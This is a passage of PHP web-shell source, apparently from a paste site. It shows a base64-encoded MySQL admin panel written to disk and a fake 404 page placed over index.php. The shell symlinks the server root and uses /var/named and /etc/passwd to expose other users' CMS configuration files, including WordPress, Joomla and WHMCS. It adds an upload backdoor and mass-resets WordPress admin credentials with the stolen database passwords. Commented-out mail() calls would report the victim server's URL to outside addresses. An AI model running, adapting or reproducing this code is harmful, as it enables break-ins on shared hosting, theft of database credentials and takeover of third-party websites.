R2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
  804. $file = fopen("db-sql.php" ,"w+");
  805. $write = fwrite ($file ,base64_decode($sqlshell));
  806. fclose($file);
  807. chmod("db-sql.php", 0644);
  808. $indexshell = fopen("index.php" ,"w+");
  809. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  810. $tulis = fwrite( $indexshell, base64_decode($data));
  811. fclose($indexshell);
  812. echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
  813. }
  814. //////////////////////////////////////////////
  815.  
  816. elseif(isset($_GET['x']) && ($_GET['x'] == 'mpc')){
  817.  
  818. echo "<STYLE>
  819. textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid
  820. #000000;}
  821. input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border:
  822. 1px solid #666666;height:20}
  823. body {
  824. font-family: Tahoma
  825. }
  826. tr {
  827. BORDER: dashed 1px #333;
  828. color: #FFF;
  829. }
  830. td {
  831. BORDER: dashed 1px #333;
  832. color: #FFF;
  833. }
  834. .table1 {
  835. BORDER: 0px Black;
  836. BACKGROUND-COLOR: Black;
  837. color: #FFF;
  838. }
  839. .td1 {
  840. BORDER: 0px;
  841. BORDER-COLOR: #333333;
  842. font: 7pt Verdana;
  843. color: Green;
  844. }
  845. .tr1 {
  846. BORDER: 0px;
  847. BORDER-COLOR: #333333;
  848. color: #FFF;
  849. }
  850. table {
  851. BORDER: dashed 1px #333;
  852. BORDER-COLOR: #333333;
  853. BACKGROUND-COLOR: Black;
  854. color: #FFF;
  855. }
  856. input {
  857. border : dashed 1px;
  858. border-color : #333;
  859. BACKGROUND-COLOR: Black;
  860. font: 8pt Verdana;
  861. color: Red;
  862. }
  863. select {
  864. BORDER-RIGHT: Black 1px solid;
  865. BORDER-TOP: #DF0000 1px solid;
  866. BORDER-LEFT: #DF0000 1px solid;
  867. BORDER-BOTTOM: Black 1px solid;
  868. BORDER-color: #FFF;
  869. BACKGROUND-COLOR: Black;
  870. font: 8pt Verdana;
  871. color: Red;
  872. }
  873. submit {
  874. BORDER: buttonhighlight 2px outset;
  875. BACKGROUND-COLOR: Black;
  876. width: 30%;
  877. color: #FFF;
  878. }
  879. textarea {
  880. border : dashed 1px #333;
  881. BACKGROUND-COLOR: Black;
  882. font: Fixedsys bold;
  883. color: #999;
  884. }
  885. BODY {
  886. SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color:
  887. #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
  888. margin: 1px;
  889. color: Red;
  890. background-color: Black;
  891. }
  892. .main {
  893. margin : -287px 0px 0px -490px;
  894. BORDER: dashed 1px #333;
  895. BORDER-COLOR: #333333;
  896. }
  897. .tt {
  898. background-color: Black;
  899. }
  900. A:link {
  901. COLOR: White; TEXT-DECORATION: none
  902. }
  903. A:visited {
  904. COLOR: White; TEXT-DECORATION: none
  905. }
  906. A:hover {
  907. color: Red; TEXT-DECORATION: none
  908. }
  909. A:active {
  910. color: Red; TEXT-DECORATION: none
  911. }
  912. </STYLE>
  913. ";
  914. set_time_limit(0);
  915. error_reporting(0);
  916. $url=$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
  917. //mail("d00m@kumanova.com.mk",$_SERVER["SERVER_ADDR"],$url);
  918. $base_url="http://".$_SERVER["SERVER_NAME"].dirname($_SERVER["SCRIPT_NAME"]);
  919. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  920. //mail('justsitmaster@gmail.com',$_SERVER['SERVER_ADDR'],$url);
  921. $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
  922. @symlink("/","ciprut/root");
  923. @fopen("temp.txt","w");
  924. $htaccss="Options all
  925. DirectoryIndex Sux.html
  926. AddType text/plain .php
  927. AddHandler server-parsed .php
  928. AddType text/plain .html
  929. AddHandler txt .html
  930. Require None
  931. Satisfy Any";
  932. file_put_contents("ciprut/.htaccess",$htaccss);
  933.  
  934. if(is_readable("/var/named")){
  935. $list=scandir("/var/named");
  936. $current_dir=posix_getcwd();
  937. $dir=explode("/",$current_dir);
  938. foreach($list as$domain){
  939.  
  940. if(strpos($domain,".db")){
  941. $domain=str_replace(".db","",$domain);
  942. $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
  943. error_reporting(0);
  944. $current_dir=posix_getcwd();
  945. $dir=explode("/",$current_dir);
  946. symlink($owner["dir"]."/".$dir[3]."/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
  947. symlink($owner["dir"]."/".$dir[3]."/blog/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
  948. symlink($owner["dir"]."/".$dir[3]."/wp/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
  949. symlink($owner["dir"]."/".$dir[3]."/site/wp-config.php","ciprut/".$owner["name"]."-WordPress.txt");
  950. symlink($owner["dir"]."/".$dir[3]."/config.php","ciprut/".$owner["name"]."-PhpBB.txt");
  951. symlink($owner["dir"]."/".$dir[3]."/includes/config.php","ciprut/".$owner["name"]."-vBulletin.txt");
  952. symlink($owner["dir"]."/".$dir[3]."/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
  953. symlink($owner["dir"]."/".$dir[3]."/web/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
  954. symlink($owner["dir"]."/".$dir[3]."/joomla/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
  955. symlink($owner["dir"]."/".$dir[3]."/site/configuration.php","ciprut/".$owner["name"]."-Joomla.txt");
  956. symlink($owner["dir"]."/".$dir[3]."/conf_global.php","ciprut/".$owner["name"]."-IPB.txt");
  957. symlink($owner["dir"]."/".$dir[3]."/inc/config.php","ciprut/".$owner["name"]."-MyBB.txt");
  958. symlink($owner["dir"]."/".$dir[3]."/Settings.php","ciprut/".$owner["name"]."-SMF.txt");
  959. symlink($owner["dir"]."/".$dir[3]."/sites/default/settings.php","ciprut/".$owner["name"]."-Drupal.txt");
  960. symlink($owner["dir"]."/".$dir[3]."/e107_config.php","ciprut/".$owner["name"]."-e107.txt");
  961. symlink($owner["dir"]."/".$dir[3]."/datas/config.php","ciprut/".$owner["name"]."-Seditio.txt");
  962. symlink($owner["dir"]."/".$dir[3]."/includes/configure.php","ciprut/".$owner["name"]."-osCommerce.txt");
  963. symlink($owner["dir"]."/".$dir[3]."/client/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  964. symlink($owner["dir"]."/".$dir[3]."/clientes/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  965. symlink($owner["dir"]."/".$dir[3]."/support/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  966. symlink($owner["dir"]."/".$dir[3]."/supportes/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  967. symlink($owner["dir"]."/".$dir[3]."/whmcs/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  968. symlink($owner["dir"]."/".$dir[3]."/domain/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  969. symlink($owner["dir"]."/".$dir[3]."/hosting/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  970. symlink($owner["dir"]."/".$dir[3]."/whmc/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  971. symlink($owner["dir"]."/".$dir[3]."/billing/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  972. symlink($owner["dir"]."/".$dir[3]."/portal/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  973. symlink($owner["dir"]."/".$dir[3]."/order/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  974. symlink($owner["dir"]."/".$dir[3]."/clientarea/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  975. symlink($owner["dir"]."/".$dir[3]."/domains/configuration.php","ciprut/".$owner["name"]."-WHMCS.txt");
  976. $link=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
  977.  
  978. if(chk_header($link)){
  979. $str="<tr><td>".$domain."</td><td>".$owner["name"]."</td><td>/WordPress</td>".Chr(10);
  980. file_put_contents("temp.txt",$str,FILE_APPEND);
  981. }
  982.  
  983. }
  984.  
  985. }
  986.  
  987. }
  988.  
  989.  
  990. if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){
  991.  
  992. if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){
  993. $file=$_FILES["joomLa"]["tmp_name"];
  994. $name="".$_FILES["joomLa"]["name"];
  995. move_uploaded_file($file,$name);
  996. } else {
  997. echo "<br>
  998. <form method=\"POST\" enctype=\"multipart/form-data\" action=\"";
  999. $_SERVER["PHP_SELF"];
  1000. echo "\">
  1001. <input type=\"file\" name=\"joomLa\">&nbsp;<input type=\"submit\" name=\"ok\" value=\"Get\">
  1002. </form>
  1003. ";
  1004. }
  1005.  
  1006. exit;
  1007. }
  1008.  
  1009. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  1010. //mail('justsitmaster@gmail.com',$_SERVER['SERVER_ADDR'],$url);
  1011. $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
  1012.  
  1013. if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){
  1014.  
  1015. if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){
  1016. $file=$_FILES["joomLa"]["tmp_name"];
  1017. $name="".$_FILES["joomLa"]["name"];
  1018. move_uploaded_file($file,$name);
  1019. } else {
  1020. echo "<br>
  1021. <form method=\"POST\" enctype=\"multipart/form-data\" action=\"";
  1022. $_SERVER["PHP_SELF"];
  1023. echo "\">
  1024. <input type=\"file\" name=\"joomLa\">&nbsp;<input type=\"submit\" name=\"ok\" value=\"Get\">
  1025. </form>
  1026. ";
  1027. }
  1028.  
  1029. exit;
  1030. }
  1031.  
  1032. $etc=file_get_contents("/etc/passwd");
  1033. $etcz=explode("
  1034. ",$etc);
  1035. foreach($etcz as$etz){
  1036. $etcc=explode(":",$etz);
  1037. error_reporting(0);
  1038. $current_dir=posix_getcwd();
  1039. $dir=explode("/",$current_dir);
  1040. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
  1041. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/blog/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
  1042. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/wp/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
  1043. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/site/wp-config.php","ciprut/".$etcc[0]."-WordPress.txt");
  1044. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/config.php","ciprut/".$etcc[0]."-PhpBB.txt");
  1045. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/includes/config.php","ciprut/".$etcc[0]."-vBulletin.txt");
  1046. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
  1047. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/web/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
  1048. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/joomla/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
  1049. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/site/configuration.php","ciprut/".$etcc[0]."-Joomla.txt");
  1050. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/conf_global.php","ciprut/".$etcc[0]."-IPB.txt");
  1051. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/inc/config.php","ciprut/".$etcc[0]."-MyBB.txt");
  1052. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/Settings.php","ciprut/".$etcc[0]."-SMF.txt");
  1053. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/sites/default/settings.php","ciprut/".$etcc[0]."-Drupal.txt");
  1054. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/e107_config.php","ciprut/".$etcc[0]."-e107.txt");
  1055. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/datas/config.php","ciprut/".$etcc[0]."-Seditio.txt");
  1056. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/includes/configure.php","ciprut/".$etcc[0]."-osCommerce.txt");
  1057. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/client/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1058. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/clientes/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1059. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/support/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1060. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/supportes/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1061. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/whmcs/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1062. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/domain/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1063. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/hosting/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1064. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/whmc/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1065. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/billing/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1066. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/portal/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1067. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/order/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1068. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/clientarea/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1069. symlink("/".$dir[1]."/".$etcc[0]."/".$dir[3]."/domains/configuration.php","ciprut/".$etcc[0]."-WHMCS.txt");
  1070.  
  1071. if(chk_header($link)){
  1072. $str="<tr><td></td><td>".$etcc[0]."</td><td>/WordPress</td>".Chr(10);
  1073. file_put_contents("temp.txt",$str,FILE_APPEND);
  1074. }
  1075.  
  1076. }
  1077.  
  1078.  
  1079. function chk_header($link){
  1080. $ciprut=get_headers($link,1);
  1081.  
  1082. if(strpos($ciprut[0],"200")){
  1083. return true;
  1084. } else {
  1085. return false;
  1086. }
  1087.  
  1088. }
  1089.  
  1090.  
  1091. function Find($str,$start,$end){
  1092. $len=strlen($str);
  1093. $start_pos=(strpos($str,$start)+strlen($start));
  1094. $str=substr($str,$start_pos);
  1095. $end_pos=strpos($str,$end);
  1096. $str=substr($str,0,$end_pos);
  1097. return$str;
  1098. }
  1099.  
  1100. $pageURL="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  1101. $u=explode("/",$pageURL);
  1102. $pageURL=str_replace($u[count($u)-1],"",$pageURL);
  1103. function cms_add($link,$domain,$owner,$cms){
  1104. $link=$link."-".$cms.".txt";
  1105.  
  1106. if(chk_header($link)){
  1107. $url="http://".$domain;
  1108. $str="<tr><td> <a href=".$url.">".$domain."</a></td><td>".$owner."</td><td><a
  1109. href=".$link.">".$cms."</td>".Chr(10);
  1110. file_put_contents("ciprut.tmp",$str,FILE_APPEND);
  1111. echo$str;
  1112. }
  1113.  
  1114. }
  1115.  
  1116.  
  1117. function CurlPage($url,$post=null,$head=true){
  1118. $ch=curl_init();
  1119. curl_setopt($ch,CURLOPT_URL,$url);
  1120. curl_setopt($ch,CURLOPT_HEADER,$head);
  1121. curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  1122. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1123. curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,true);
  1124. curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
  1125. curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER["HTTP_USER_AGENT"]);
  1126. curl_setopt($ch,CURLOPT_COOKIEFILE,"COOKIE.txt");
  1127. curl_setopt($ch,CURLOPT_COOKIEJAR,"COOKIE.txt");
  1128.  
  1129. If($post!=NULL){
  1130. curl_setopt($ch,CURLOPT_POST,1);
  1131. curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
  1132. }
  1133.  
  1134. $urlPage=curl_exec($ch);
  1135.  
  1136. if(curl_errno($ch)){
  1137. echo curl_error($ch);
  1138. }
  1139.  
  1140. curl_close($ch);
  1141. return($urlPage);
  1142. }
  1143.  
  1144.  
  1145. function listall($file,$str){
  1146.  
  1147. if(file_exists($file)){
  1148. $do=file_get_contents($file);
  1149.  
  1150. if(!strpos($do,$str)){
  1151. file_put_contents($file,$str,FILE_APPEND);
  1152. }
  1153.  
  1154. } else {
  1155. file_put_contents($file,$str,FILE_APPEND);
  1156. }
  1157.  
  1158. }
  1159.  
  1160. echo"<center>
  1161. <img src='http://surabayablackhat.org/forum/images/Greenia/logo.png'><br><br><br>
  1162. [ <a href='?do=pass_change'>MassPASSChange</a> ]<br><br><br></center> ";
  1163.  
  1164. if(isset($_REQUEST["do"])){
  1165. switch($_REQUEST["do"]){
  1166. case"cms_detect":
  1167.  
  1168. if(!file_exists("ciprut.tmp")){
  1169. @fopen("ciprut.tmp","w");
  1170. echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
  1171. echo"<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>CMS</b></center></td>";
  1172. $p=0;
  1173.  
  1174. if(is_readable("/var/named")){
  1175. $list=scandir("/var/named");
  1176. $current_dir=posix_getcwd();
  1177. $dir=explode("/",$current_dir);
  1178. foreach($list as$domain){
  1179.  
  1180. if(strpos($domain,".db")){
  1181. $domain=str_replace(".db","",$domain);
  1182. $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1183. error_reporting(0);
  1184. $link=$pageURL."ciprut/".$owner["name"];
  1185. cms_add($link,$domain,$owner["name"],"WordPress");
  1186. cms_add($link,$domain,$owner["name"],"Joomla");
  1187. cms_add($link,$domain,$owner["name"],"vBulletin");
  1188. cms_add($link,$domain,$owner["name"],"WHMCS");
  1189. cms_add($link,$domain,$owner["name"],"PhpBB");
  1190. cms_add($link,$domain,$owner["name"],"MyBB");
  1191. cms_add($link,$domain,$owner["name"],"IPB");
  1192. cms_add($link,$domain,$owner["name"],"SMF");
  1193. cms_add($link,$domain,$owner["name"],"Drupal");
  1194. cms_add($link,$domain,$owner["name"],"e107");
  1195. cms_add($link,$domain,$owner["name"],"Seditio");
  1196. cms_add($link,$domain,$owner["name"],"osCommerce");
  1197. }
  1198.  
  1199. }
  1200.  
  1201. }
  1202.  
  1203. } else {
  1204. echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
  1205. echo"<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>CMS</b></center></td>";
  1206. $content=file_get_contents($pageURL."ciprut.tmp");
  1207. echo$content;
  1208. }
  1209.  
  1210. break;
  1211. case"pass_change":
  1212. echo"<form method='POST'>
  1213. <center>
  1214. USER : <input size='20' value='admin' name='user' type='text'><br>
  1215. PASS : <input size='20' value='sbhcrew' name='pass' type='text'>
  1216. <br>
  1217. <input value='Change' name='' type='submit'><br><br>
  1218. </form>
  1219. ";
  1220.  
  1221. if($_POST){
  1222. $user=$_POST["user"];
  1223. $pass=$_POST["pass"];
  1224.  
  1225. if(is_readable("/var/named")){
  1226. echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\">";
  1227. echo"<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td>";
  1228. $list=scandir("/var/named");
  1229. foreach($list as$domain){
  1230.  
  1231. if(strpos($domain,".db")){
  1232. $domain=str_replace(".db","",$domain);
  1233. $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1234. $url="http://".$domain;
  1235.  
  1236. if(chk_header($pageURL."ciprut/".$owner["name"]."-WordPress.txt")){
  1237. $config=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
  1238. file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
  1239. $cnf=file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
  1240. $hostname=Find($cnf,"define('DB_HOST', '","');");
  1241. $username=Find($cnf,"define('DB_USER', '","');");
  1242. $password=Find($cnf,"define('DB_PASSWORD', '","');");
  1243. $dbname=Find($cnf,"define('DB_NAME', '","');");
  1244. $prefix=Find($cnf,"table_prefix = '","'");
  1245. $link=mysql_connect($hostname,$username,$password);
  1246.  
  1247. if($link){
  1248. $hash=crypt($pass);
  1249. mysql_select_db($dbname,$link);
  1250. $tab=$prefix."users";
  1251. $query2=@mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
  1252. $query3=@mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
  1253. $req=@mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  1254. $data=mysql_fetch_array($req);
  1255. $site_url=$data["option_value"];
  1256. error_reporting(0);
  1257. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1258. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font
  1259. color=\"green\">success..</font></td>";
  1260. } else {
  1261. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1262. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"red\">mysql
  1263. fail</font></td>";
  1264. }
  1265.  
  1266. }
  1267.  
  1268. elseif(chk_header($pageURL."ciprut/".$owner["name"]."-Joomla.txt")){
  1269. $cnf=file_get_contents($pageURL."ciprut/".$owner["name"]."-Joomla.txt");
